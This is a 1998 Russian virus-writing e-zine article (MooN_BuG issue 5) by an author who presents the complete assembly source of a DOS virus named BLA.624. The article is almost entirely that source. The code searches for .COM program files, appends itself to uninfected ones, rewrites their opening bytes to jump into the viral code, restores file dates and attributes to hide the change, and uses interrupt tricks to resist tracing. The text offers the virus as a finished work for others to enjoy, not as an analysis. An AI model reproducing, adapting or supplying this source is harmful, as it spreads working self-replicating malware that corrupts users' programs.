[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 5, May 1998                                           file 003

                                 Вирус BLA.624
                                                by RedArc

   В  этом  вирусе  нет  ничего необычного и тем более офигительного... Он был
написан  от  нефиг  делать  во  время  прослушивания лекции по математическому
моделированию...  Обычный  сирч,  но  мне  он  чем то все же понравился и я не
просто  не выкинул листок с его исходником, а даже не поленился набить... Вот,
посмотрите, может и вам из него чего понравится ;)
Дык как всегда я поленился нацарапать комментарии... ;)

=== Cut ===
Model Tiny
.code
.286
org 100h
start:
dw 0103h
jmp Entry
db 100h dup (90h)
Entry:
       pusha
       xor ax,ax
       mov es,ax
       mov ah,byte ptr cs:[si+1]
       xchg ax,di
       mov bp, word ptr cs:[di+3]
       add bp,di
       add bp,3
       xchg ax,di
       mov al,ah
       add al,ah
       xor ah,ah
       add bp,ax
       mov ax,es:[13h*4]
       mov [bp+DATES-2],ax
       mov ax,es:[13h*4+2]
       mov [bp+DATES-4],ax
       mov ax,bp
       add ax,MyInt
       mov es:[13h*4],ax
       mov ax,ds
       mov es:[13h*4+2],ax
       mov ax,bp
       int 13h
       mov es:[0FFh*4],ax
       mov si,bp
       add si,DATES
       mov ax,ss
       mov SS_SAVE,AX
       mov ax,cs
       mov ss,ax
       mov di,sp
       mov ax,cs
       mov ss,ax
       mov sp,si
       mov ax,es:[0FFh*4]
       dec al
       cmp ax,1997h
       jnz Entry
       mov ax,[bp+DATES-2]
       mov es:[13h*4],ax
       mov ax,[bp+DATES-4]
       mov es:[13h*4+2],ax
       push cs
       pop es
       call REST_BYTE
       db 0ffh
       mov di,sp
       mov ax,cs
       mov ss,ax
       mov sp,si
       call SET_DTA_VIR
       db 0feh
       mov di,sp
       mov ax,cs
       mov ss,ax
       mov sp,si
       call FIND_FIRST
       db 0fdh
L1:
       jb Not_Found
       mov di,sp
       mov ax,cs
       mov ss,ax
       mov sp,si
       call TEST_FILE
       db 0fch
BBB:
       mov di,sp
       mov ax,cs
       mov ss,ax
       mov sp,si
       jc INFECTED
       call CLOSE_FILE
       db 0fbh
       mov di,sp
       mov ax,cs
       mov ss,ax
       mov sp,si
       call FIND_NEXT
       db 0fah
       jmp L1
INFECTED:
       call PLAGUE
       db 0f0h
       clc
       jmp short BBB
Not_Found:
       mov di,sp
       mov ax,cs
       mov ss,ax
       mov sp,si
       call SET_DTA_PROG
       db 0efh
       popa
       push si
       ret
       dd ?
DATES equ $-Entry
MASK_FILE equ $-Entry
       db 'БЛЯДЬ', 0h
SS_SAVE dw ?
REST_BYTE:
       mov sp,di
L_1 equ $-Entry
       mov byte ptr ds:[100h],0cdh
L_2 equ $-Entry
       mov byte ptr ds:[101h],020h
L_3 equ $-Entry
       mov byte ptr ds:[102h],90h
L_4 equ $-Entry
       mov byte ptr ds:[103h],90h
L_5 equ $-Entry
       mov byte ptr ds:[104h],90h
       mov di,[si-2]
       inc di
       push di
       ret
db 0eeh
SET_DTA_VIR:
       mov ax,SS_SAVE
       mov ss,ax
       mov sp,di
       mov ah,1ah
       mov dx,bp
       add dx,MyLen+5
       mov bx,dx
       int 21h
       mov di,[si-2]
       inc di
       push di
       ret
db 0edh
SET_DTA_PROG:
       mov ax,SS_SAVE
       mov ss,ax
       mov sp,di
       mov ah,1ah
       mov dx,80h
       mov bx,dx
       int 21h
       mov di,[si-2]
       inc di
       push di
       ret
db 0ech
FIND_FIRST:
       mov ax,SS_SAVE
       mov ss,ax
       mov sp,di
       mov di,bp
       add di,MASK_FILE
       push di
       mov [di],'.*'
       mov byte ptr ds:[di+4],'m'
       mov [di+2],'oc'
       mov ah,4eh
       mov cx,0ffh
       mov dx,di
       int 21h
       pop di
       mov [di],'ЛБ'
       mov byte ptr ds:[di+4], 'Ь'
       mov [di+2],'ДЯ'
       mov di,[si-2]
       inc di
       push di
       ret
db 0ebh
FIND_NEXT:
       mov ax,SS_SAVE
       mov ss,ax
       mov sp,di
       mov ah,4fh
       int 21h
       mov di,[si-2]
       inc di
       push di
       ret
db 0eah
TEST_FILE:
       mov ax,SS_SAVE
       mov ss,ax
       mov sp,di
       mov ax,3d02h
       mov dx,bp
       push dx
       add dx,MyLen+5+1eh
       int 21h
       xchg ax,bx
       mov ah,3fh
       pop dx
       add dx,MyLen
       push dx
       mov cx,5
       int 21h
       pop di
       mov ah,[di]
       cmp ah,03h
       je ALREADY
       mov ax,[di]
       cmp ax,4d5ah
       je ALREADY
       cmp ax,5a4dh
       je ALREADY
       stc
       jmp short AAA_
ALREADY:
       clc
AAA_:
       mov di,[si-2]
       inc di
       push di
       ret
db 0e0h
CLOSE_FILE:
       mov ax,SS_SAVE
       mov ss,ax
       mov sp,di
       mov di,bp
       add di,MyLen+5
       mov cx,[di+16h]
       mov dx,[di+18h]
       mov ax,5701h
       int 21h
       mov ah,3eh
       int 21h
       xor cx,cx
       mov cl,byte ptr ds:[di+15h]
       mov dx,di
       add dx,1eh
       mov ax,4301h
       int 21h
       mov di,[si-2]
       inc di
       push di
       ret
db 0dfh
PLAGUE:
       mov ax,SS_SAVE
       mov ss,ax
       mov sp,di
       mov di,bp
       mov al,byte ptr [di+MyLen]
       mov byte ptr [di+L_1+4],al
       mov al,byte ptr [di+MyLen+1]
       mov byte ptr [di+L_2+4],al
       mov al,byte ptr [di+MyLen+2]
       mov byte ptr [di+L_3+4],al
       mov al,byte ptr [di+MyLen+3]
       mov byte ptr [di+L_4+4],al
       mov al,byte ptr [di+MyLen+4]
       mov byte ptr [di+L_5+4],al
       mov ax,4202h
       xor cx,cx
       xor dx,dx
       int 21h
       and ax,0f000h
       cmp ax,0f000h
       jnz Len_Tested
       jmp EXIT_PLAGUE
Len_Tested:
       mov dx,bp
       mov cx,MyLen
       mov ah,40h
       int 21h
       mov ax,4200h
       xor cx,cx
       xor dx,dx
       int 21h
       add di,MyLen
       mov byte ptr [di],03h
       mov byte ptr [di+1],01h
       mov ax,[di+5+1ah]
       mov byte ptr [di+2],0e9h
       sub ax,5
       mov [di+3],ax
       xchg dx,di
       mov cx,5
       mov ah,40h
       int 21h
EXIT_PLAGUE:
       mov di,[si-2]
       inc di
       push di
       ret
MyInt equ $-Entry
       mov ax,1998h
       iret
MyLen equ $-Entry
END START
=== Cut ===